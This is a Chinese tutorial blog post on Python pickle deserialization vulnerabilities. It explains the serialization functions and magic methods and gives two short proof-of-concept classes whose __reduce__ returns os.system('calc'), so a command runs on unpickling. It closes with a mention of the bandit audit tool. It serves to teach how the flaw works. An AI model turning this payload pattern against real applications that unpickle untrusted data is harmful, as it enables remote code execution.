首页 > 编程语言 >python 反序列化漏洞

python 反序列化漏洞

时间:2024-05-12 18:19:29浏览次数:21  
标签:__ return python self 漏洞 序列化 pickle

python 反序列化

前言:python反序列化相比java反序列化,更接近于php反序列化

1.0 python 中的序列化函数

**1. **pickle.dump(obj , file)

将对象序列化后保存在文件中

2. pickle.load(file)

将文件中序列化内容反序列化为对象

**3. **pickle.dumps(obj)

将对象序列化后返回,返回的是字符串形式的字节流

**4. **pickle.loads(bytes)

1.1 python中的魔术方法

1 __reduce__

该魔术方法在反序列化时调用

下面是一个例子:

import pickle
import os


class A:
    def __reduce__(self):
        print("111")
        return (os.system, ('calc',))


a = A()
p_a = pickle.dumps(a)
pickle.loads(p_a)
print(p_a)

其中return的内容是受到限制的,在return中写的内容会在pickle.loads,也就是反序列化时

被执行。

2 __init__

本质就是python中的构造函数,在对象被实例化时调用

3 __setstate__

反序列化时会调用的方法

4 __getstate__

序列化中会被调用

给个简单的利用例子吧

import pickle
import os


class A:
    def __init__(self, fun, arg):
        self.fun = fun
        self.arg = arg

    def __reduce__(self):
        return (self.fun, self.arg)


a = A(os.system, ('calc',))
p_a = pickle.dumps(a)
pickle.loads(p_a)

如果我们析构函数的值可以控制,利用当前代码段就可以达成rce的成果

python的反序列化和java,php的反序列化还不是很一样,在反序列化应用时并不需要把类

写出来,只需要你的对象中有魔术方法就可以直接执行

我们在写python 反序列化payload时,需要注意web应用所使用的python版本,如果web

应用使用的是python3,那我们也得使用python3去运行生成,如果使用的是python2 ,那

也要使用对应的版本去生成payload

我们在对python代码进行代码审计时可以使用代码审计工具,比如bandit

可以使用pip install bandit来进行安装

在安装后会在Pythonz目录中增加一个.exe或者无后缀的可执行文件

在命令行 加上-r 分析代码地址即可进行代码分析

标签:__,return,python,self,漏洞,序列化,pickle
From: https://www.cnblogs.com/rpup/p/18185586

相关文章

  • Python游戏制作大师,Pygame库的深度探索与实践
    写在前言hello,大家好,我是一点,专注于Python编程,如果你也对感Python感兴趣,欢迎关注交流。希望可以持续更新一些有意思的文章,如果觉得还不错,欢迎点赞关注,有啥想说的,可以留言或者私信交流。如果你想看什么主题的文章,欢迎留言交流,关注公众号【一点sir】,领取编程资料。如果你还不了......
  • 【python】bilibili动态删除脚本
    importpprintimportrequestsimportjsonimportreimportos#最大删除条数MAX_COUNT=200#保存cookie的路径COOKIE_FILE_PATH=r"./cookie.txt"classBWebSite(object):def__init__(self):ifnotos.path.exists(COOKIE_FILE_PATH):print("未检测到cooki......
  • 越权漏洞(Pikachu)
    原理该漏洞是指应用在检查授权时存在纰漏,使得攻击者在获得低权限用户账户后,利用一些方式绕过权限检查,访问或者操作其他用户或者更高权限。越权漏洞的成因主要是因为开发人员在对数据进行增、删、改、查询时对客户端请求的数据过分相信而遗漏了权限的判定,一旦权限验证不充分,就易致......
  • PHP反序列化(Pikachu)
    原理php程序为了保存和转储对象,提供了序列化的方法。php序列化是为了在程序运行的过程中对对象进行转储而产生的。序列化可以将对象转换成字符串,但仅保留对象里的成员变量,不保留函数方法。php序列化的函数为serialize,可以将对象中的成员变量转换成字符串。反序列化的函数为unse......
  • XXE漏洞(Pikachu)
    原理要补好多知识~XXE漏洞全称XMLExternalEntityInjection即XML外部实体注入。XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害。XXE漏洞触发的点往......
  • python获取问津
    importosimportrequestsimportjsonimportrefrombs4importBeautifulSoupfromqiniuimportAuth,put_fileclassBilibiliVideoAudio:def__init__(self,bid,download_path='download'):self.bid=bidself.headers={&qu......
  • 【攻防技术系列】-- Python沙箱逃逸
    Python是一种强大而灵活的编程语言,但在某些情况下,可能需要运行不受信任的代码,同时又希望限制它的行为,以防止对系统的不良影响。这时,Python沙箱就成为一种有用的工具,它可以帮助你在安全的环境中运行不受信任的代码。本文将探讨Python沙箱的概念、常见的沙箱技术以及如何避免沙......
  • Playwright安装与Python集成:探索跨浏览器测试的奇妙世界
    前言web自动化测试是我们工作中的重要一环,随着Web应用程序和网站的复杂性不断增加,跨浏览器测试变得越来越必要。而Playwright作为一种新兴的跨浏览器测试工具,为开发人员提供了一种轻松愉快的方式来进行自动化测试。本文将带您深入探索Playwright的安装过程,并结合Python语言,揭示......
  • 神器!使用Python 轻松识别验证码
    前言在我们进行自动化测试的过程中,免不了要在登录时遇到验证码,很多时候我们都是只能找开发要万能验证码或者暂时关闭验证码这个功能,但是有时候我们必须要验证码是否能够正常生成,所以在这个时候,我们需要做的就是输入验证码,但是验证码这个东西是随机生成的,不是每一次都一样,所以我......
  • Python 潮流周刊#50:我最喜欢的 Python 3.13 新特性!
    本周刊由Python猫出品,精心筛选国内外的250+信息源,为你挑选最值得分享的文章、教程、开源项目、软件工具、播客和视频、热门话题等内容。愿景:帮助所有读者精进Python技术,并增长职业和副业的收入。本期分享了12篇文章,11个开源项目,2则音视频,赠书5本《黑客与画家(10万册纪......